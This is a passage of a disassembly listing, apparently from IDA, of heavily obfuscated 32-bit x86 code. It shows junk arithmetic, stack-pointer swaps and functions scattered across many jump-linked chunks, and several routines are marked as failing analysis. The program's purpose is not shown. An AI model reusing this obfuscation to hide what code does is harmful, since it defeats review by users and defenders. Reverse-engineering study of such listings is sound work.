; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5AD4EB:				; CODE XREF: sub_599A61+1165Fj
		xor	esi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5A5C6F
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AD4F9:				; CODE XREF: sub_5A477C+9BC1j
		mov	esi, 5C6C3A65h
		sub	esi, 17647692h
		jmp	loc_59B675
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------


loc_5AD509:				; CODE XREF: sdfs____:0059B1D8j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_5AA8A9

; =============== S U B	R O U T	I N E =======================================



sub_5AD51E	proc near		; DATA XREF: sdfs____:00598E80o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp+0], cl
		pushf
		jmp	loc_59910F
sub_5AD51E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AD52D:				; CODE XREF: sub_59C979+7B32j
		or	cl, 50h
		jmp	loc_5A56C9
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AD535:				; CODE XREF: sub_59D6B8+5258j
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		jmp	loc_59D6D1
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5AD546:				; CODE XREF: sub_59F1F3+4179j
		dec	edi
		sub	esp, 4
		jmp	loc_5A52D9
; END OF FUNCTION CHUNK	FOR sub_59F1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AD54F:				; CODE XREF: sub_5992DA+36BCj
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_5A9DBC
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD55D:				; CODE XREF: sub_5AA2D1-73E9j
		neg	edi
		push	edi
		dec	dword ptr [esp+0]
		pop	edi
		inc	edi
		inc	edi
		jmp	loc_59DF01
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5AD56B:				; CODE XREF: sdfs____:0059FA31j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_59C525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5AD579:				; CODE XREF: sub_5AD6D4-2272j
		push	500237CEh
		pop	edi
		push	1214h
		mov	[esp+0Ch+var_C], edi
		neg	[esp+0Ch+var_C]
		pop	edi
		sub	esp, 4
		jmp	loc_5AA932
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AD596:				; CODE XREF: sub_59D6B8+FC1Dj
		pop	edi
		mov	ebx, ecx
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		sub	edx, ebx
		pop	ebx
		push	119Eh
		mov	[esp+8+var_8], ebp
		push	edi
		mov	edi, edx
		mov	ebp, edi
		pop	edi
		jmp	sub_5A9EB4
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5AD5B5:				; CODE XREF: sub_5B03B3-CD4Aj
		mov	ebx, 6F262C69h
		sub	edx, ebx
		pop	ebx
		sub	edx, 10366CD7h
		jmp	loc_59925B
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B95E


loc_5AD5C8:				; CODE XREF: sub_59B95E+56AFj
		push	esi
		mov	esi, 6F004E1Ah
		shr	esi, 3
		jmp	loc_5A6F44
; END OF FUNCTION CHUNK	FOR sub_59B95E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD5D6:				; CODE XREF: sub_5AA2D1+1748j
		xchg	eax, [esp+14h+var_14]
		pop	esp
		neg	eax
		shl	eax, 8
		xor	eax, 5CAC0304h
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 39042D23h
		shl	edi, 3
		dec	edi
		push	edi
		not	[esp+14h+var_14]
		pop	edi
		push	ebp
		mov	ebp, 2BCC0210h
		jmp	loc_5AF6C2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AD601:				; CODE XREF: sub_59C979+66D1j
		push	eax
		mov	ah, 0A3h
		not	ah
		add	ah, 77h
		sub	ah, 6Ch
		sub	dh, ah
		pop	eax
		jmp	loc_59CD63
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B3C9


loc_5AD614:				; CODE XREF: sub_59B3C9+6AB2j
		add	edi, 4
		xchg	edi, [esp+18h+var_18]
		pop	esp
		add	esp, 4
		jmp	loc_5AE292
; END OF FUNCTION CHUNK	FOR sub_59B3C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AD629:				; CODE XREF: sub_5A0AA2-3D4Bj
		xor	ebx, 0FE3CF8D8h
		jmp	loc_5A9963
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AA62


loc_5AD634:				; CODE XREF: sub_59AA62+7AC2j
		add	esi, 4
		jmp	loc_5A98C7
; END OF FUNCTION CHUNK	FOR sub_59AA62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5AD63C:				; CODE XREF: sub_59A479+115A8j
		add	[esp+8+var_8], 4
		jmp	loc_5ACBE9
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------


loc_5AD648:				; CODE XREF: sdfs____:005A02F3j
		add	dword ptr [esp], 4
		jmp	loc_5AF678
; ---------------------------------------------------------------------------


loc_5AD651:				; CODE XREF: sdfs____:005AFDB8j
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_5AD96A
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8101


loc_5AD667:				; CODE XREF: sub_5A8101-549Fj
		mov	[esp+8+var_8], ecx
		mov	ecx, 4
		jmp	loc_5ABD7D
; END OF FUNCTION CHUNK	FOR sub_5A8101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5AD674:				; CODE XREF: sub_59D6B8+D90j
		mov	[esp+8+var_8], edi
		mov	edi, 46C24282h
		jmp	loc_5A2CB7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B03B3


loc_5AD681:				; CODE XREF: sub_5B03B3-286Fj
		push	73A4h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_59AE9B
; END OF FUNCTION CHUNK	FOR sub_5B03B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AD68E:				; CODE XREF: sub_5A7BA0+4801j
		add	ebp, 0F5F98C2Fh
		sub	[edi+24h], ebp
		pop	ebp


loc_5AD698:				; CODE XREF: sub_5992DA+AED6j
		push	34F5h
		mov	[esp+0], ebx
		mov	eax, [esp+0]
		push	7A98h
		mov	[esp+4+var_4], edx
		push	esp
		jmp	loc_5A8728
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5AD6B1:				; CODE XREF: sub_599D0E+4390j
		mov	al, dh
		jmp	loc_599291
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5AD6B8:				; CODE XREF: sub_59EE3E+88C9j
		jmp	sub_599E58
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AD6BD:				; CODE XREF: sub_5992DA+405j
					; sub_5AA2D1-5476j
		add	esp, 2
		sub	bl, al
		jmp	loc_59B1EA
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1F3


loc_5AD6CA:				; CODE XREF: sub_59F1F3-4933j
		xchg	edx, esi
		not	edx
		push	esi
		jmp	loc_5A9836
; END OF FUNCTION CHUNK	FOR sub_59F1F3

; =============== S U B	R O U T	I N E =======================================



sub_5AD6D4	proc near		; CODE XREF: sub_5A2E28+B114j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059B13E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E5CB SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A16DA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A1947 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A2433 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A2D68 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005A46B2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A534B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A6005 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA932 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AB461 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005ABC0E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AD579 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005AD8A9 SIZE 00000014 BYTES

		push	ebp
		jmp	loc_5AB461
sub_5AD6D4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A75B3


loc_5AD6DA:				; CODE XREF: sub_5A75B3-3B86j
		xor	ebp, 42E2161Ch
		add	ebp, 41BC9217h
		add	eax, ebp
		pop	ebp
		mov	ebx, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	ebx
		xor	dword ptr [esp+0], 692D0192h
		pop	edi
		xor	edi, 692D0192h
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		and	eax, edi
		push	[esp-8+arg_4]
		mov	edi, [esp-4+arg_0]
		jmp	sub_5AAAD5
; END OF FUNCTION CHUNK	FOR sub_5A75B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD716:				; CODE XREF: sub_5AA2D1-6FC5j
		shr	edx, 1
		add	edx, 3C5306F3h
		jmp	loc_5A4311
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5AD723:				; CODE XREF: sub_5A7BA0-9D2Ej
		mov	ecx, [esp+0]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5AE9AF
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AD73A:				; CODE XREF: sub_5992DA+A0EAj
		pop	ecx
		add	edx, 143C3145h
		jmp	loc_5AB120
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5AD746:				; CODE XREF: sub_5AAE5E-E090j
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		jmp	loc_59BFFB
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5AD751:				; CODE XREF: sub_5992DA+1CE9j
					; sub_59A479+B427j
		pop	esp
		push	6F7Ch
		mov	[esp-4+arg_0], edi
		jmp	loc_5AEE9A
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------


loc_5AD75F:				; CODE XREF: sdfs____:005A0118j
		push	ecx
		mov	cl, 0D5h
		and	cl, 21h
		neg	cl
		shl	cl, 8
		sub	cl, 0A5h
		sub	dh, cl
		pop	ecx
		or	dh, 7Eh
		push	bx
		mov	bl, 92h
		xor	dh, bl
		mov	bx, [esp]
		jmp	loc_5A46EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD782:				; CODE XREF: sub_5AA2D1-A536j
		mov	[esp-18h+arg_14], esi
		push	[esp-18h+arg_18]
		push	[esp-14h+arg_10]
		pop	esi
		add	esp, 4
		jmp	loc_5A0567
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5AD795	proc near		; CODE XREF: sub_59D6B8-D3j
					; sub_5AA2D1-1244j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599535 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599892 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00599C45 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00599FF2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AC9C SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059AD11 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B130 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059B4C8 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 0059B830 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059BB3A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059CA9C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0059CBB2 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D508 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059E01B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E621 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059ED35 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005A0082 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1D66 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005A20B6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2937 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2B7B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A2D90 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A344E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A4D91 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5BF7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A7949 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A8593 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA25F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA683 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AAD49 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005AC500 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005ADDE4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AE4D8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AEFC1 SIZE 00000009 BYTES

		push	ebp
		jmp	loc_5A4D91
sub_5AD795	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5AD79B:				; CODE XREF: sub_599D0E+27E9j
		add	al, 0E8h
		xor	cl, al
		pop	eax
		push	32C4h
		jmp	loc_5A0649
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AD7AA:				; CODE XREF: sub_5A477C-7E58j
		xchg	esi, [esp+0]
		pop	esp
		sub	eax, 5C932C9Ch
		sub	eax, 42BC0AFBh
		sub	eax, edx
		push	ebx
		mov	ebx, 4056391Ch
		xor	ebx, 5C4630E5h
		or	ebx, 71BA4B65h
		dec	ebx
		not	ebx
		jmp	loc_5A894C
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5AD7DC:				; CODE XREF: sub_5A4E04-3591j
		add	eax, 36DA23B0h
		sub	eax, ebx
		push	ebx
		mov	ebx, 36DA23B0h
		sub	eax, ebx
		pop	ebx
		push	esi
		mov	esi, 4D7716DAh
		sub	eax, esi
		pop	esi
		push	ebx
		push	ecx
		mov	ecx, 411D4CB1h
		mov	ebx, ecx
		pop	ecx
		jmp	loc_5A697C
; END OF FUNCTION CHUNK	FOR sub_5A4E04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD804:				; CODE XREF: sub_5AA2D1-EA47j
		pop	edi
		jmp	loc_5A42BA
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AD80A:				; CODE XREF: sub_5A917C+374Ej
		add	esp, 4
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 7826214Fh
		shr	ebp, 5
		add	ebp, 1A167118h
		xor	ebp, 1D116131h
		push	ebx
		mov	ebx, 75D36352h
		add	ebp, ebx
		pop	ebx
		shl	ebp, 1
		sub	ebp, 0ED344CC6h
		add	esi, ebp
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_5AD044
; END OF FUNCTION CHUNK	FOR sub_5A917C

; =============== S U B	R O U T	I N E =======================================



sub_5AD84A	proc near		; CODE XREF: sub_5A0FFF-1AFAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00599656 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AF75 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B470 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059CCDE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F68B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059FB21 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A145C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A229D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A4704 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A95D9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC696 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AD85E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE58B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AE60B SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005AEAFA SIZE 0000000B BYTES

		push	ebx
		mov	ebx, 511243AAh
		inc	ebx
		js	loc_59CCDE
		neg	ebx
		jmp	loc_5A229D
sub_5AD84A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD84A


loc_5AD85E:				; CODE XREF: sub_5AD84A-E1B9j
		mov	[esp+10h+var_10], ecx
		jmp	sub_5ABFD8
; END OF FUNCTION CHUNK	FOR sub_5AD84A
; ---------------------------------------------------------------------------


loc_5AD866:				; CODE XREF: sdfs____:005ACE59j
		push	35AFh
		mov	[esp], eax
		push	esi
		push	ecx
		mov	ecx, 77CD456Eh
		jmp	loc_5A92D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C656


loc_5AD87A:				; CODE XREF: sub_59C656+12j
		shr	ebp, 4
		xor	ebp, 54D66ADBh
		jmp	sub_5A62C4
; END OF FUNCTION CHUNK	FOR sub_59C656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5AD888:				; CODE XREF: sub_59C979:loc_5A5393j
		add	edi, 0F8491D10h
		dec	edi
		and	edi, 5E0928D0h
		push	0FFAh
		mov	[esp+6+var_6], edx
		mov	edx, 0E5FEE004h
		add	edi, edx
		jmp	loc_5A51C4
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5AD8A9:				; CODE XREF: sub_5AD6D4-76CCj
					; sub_5B01F7-9BFEj
		xchg	ecx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		push	ebx
		push	7613h
		jmp	loc_5A1947
; END OF FUNCTION CHUNK	FOR sub_5AD6D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD8BD:				; CODE XREF: sub_5AA2D1-475Aj
		add	eax, 1EA50D8Bh
		shr	eax, 5
		neg	eax
		jmp	loc_59F533
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5AD8CC:				; CODE XREF: sub_5A2AFE+9E53j
		sub	ecx, 1F8337A7h
		mov	ebx, ecx
		pop	ecx
		and	ebx, 54F131ACh
		shl	ebx, 8
		jmp	loc_5ADA05
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A577C


loc_5AD8E3:				; CODE XREF: sub_5A577C-3ABEj
		pop	edx
		jmp	loc_59D02A
; END OF FUNCTION CHUNK	FOR sub_5A577C
; ---------------------------------------------------------------------------


loc_5AD8E9:				; CODE XREF: sdfs____:0059CACDj
		xchg	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	7F27h
		jmp	loc_5A28A4
; ---------------------------------------------------------------------------


loc_5AD8FB:				; CODE XREF: sdfs____:0059A0F7j
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5AB13C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A522E


loc_5AD91C:				; CODE XREF: sub_5A522E+529Dj
		dec	ebx
		jl	loc_59BD3D
		xor	ebx, 2F127573h
		jo	loc_5A7B45
		jmp	loc_5A6E61
; END OF FUNCTION CHUNK	FOR sub_5A522E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5AD934:				; CODE XREF: sub_5AAE5E+9E9j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59DAD3
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD941:				; CODE XREF: sub_5A79BE-D9A4j
					; sub_5AA2D1-4Ej
		jg	loc_5AAA4B
		add	ah, 6Eh
		jmp	loc_5A5A78
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5AD94F:				; CODE XREF: sub_5A2E28-7AC8j
		add	ebp, eax
		jmp	loc_59D237
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5AD956:				; CODE XREF: sub_5A77D5-1834j
		dec	edx
		add	edx, 1
		xor	edx, 3E7F1B17h
		or	ebx, edx
		jmp	loc_5A56AD
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------


loc_5AD96A:				; CODE XREF: sdfs____:005AD659j
		add	eax, 4
		jmp	loc_59DA4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5AD972:				; CODE XREF: sub_5ABB65-7342j
		push	0EDEh
		mov	[esp+10h+var_10], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5A3397
; END OF FUNCTION CHUNK	FOR sub_5ABB65

; =============== S U B	R O U T	I N E =======================================



sub_5AD993	proc near		; CODE XREF: sub_59B22E+995Cj

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

; FUNCTION CHUNK AT 0059980D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00599B30 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059A58B SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059AB8F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0059C06E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DFC4 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059FF4F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0145 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005A19DE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A4415 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005A48B6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A5D6D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A6E6D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A9501 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AB9D2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC75C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005AC87A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AECDC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AF145 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AF673 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005AF809 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005AFDC6 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 9BA2734h
		jmp	loc_5AF809
sub_5AD993	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5AD99E:				; CODE XREF: sub_5A63DC-A28Fj
		add	[esp+0Ch+var_4], eax
		push	ecx
		push	ebx
		mov	ebx, 4BED4A40h
		mov	ecx, ebx
		pop	ebx
		sub	[esp+10h+var_4], ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_5A255B
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F074


loc_5AD9C4:				; CODE XREF: sub_59F074+8B0Cj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59F074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5AD9C9:				; CODE XREF: sub_5A477C-5608j
		mov	eax, 0AF727CFh
		mov	esi, eax
		pop	eax
		jmp	loc_5B0006
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AD9D6:				; CODE XREF: sub_5B01F7-383Fj
		inc	edi
		push	ebx
		jmp	loc_599F66
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AD9DD:				; CODE XREF: sub_5AA2D1+78Aj
		mov	bx, word ptr [esp+10h+var_10]
		push	622h
		mov	[esp+14h+var_14], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		xor	al, ch
		mov	cx, word ptr [esp+14h+var_14]
		jmp	loc_59C23B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5ADA05:				; CODE XREF: sub_5A2AFE+ADE0j
		xor	ebx, 4DAB52BDh
		sub	ebx, 14E37CFFh
		jmp	loc_5A21C0
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5ADA16:				; CODE XREF: sub_59D6B8+3004j
		add	ebx, edi
		pop	edi
		add	ebx, edi
		sub	ebx, 7CC9717Dh
		pop	edi
		push	26E7h
		mov	[esp+0Ch+var_C], esi
		jmp	loc_5A2858
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5ADA2F:				; CODE XREF: sub_59D4FD+10E48j
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		shl	word ptr [esp+0], cl
		pushf
		jmp	loc_5AB746
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


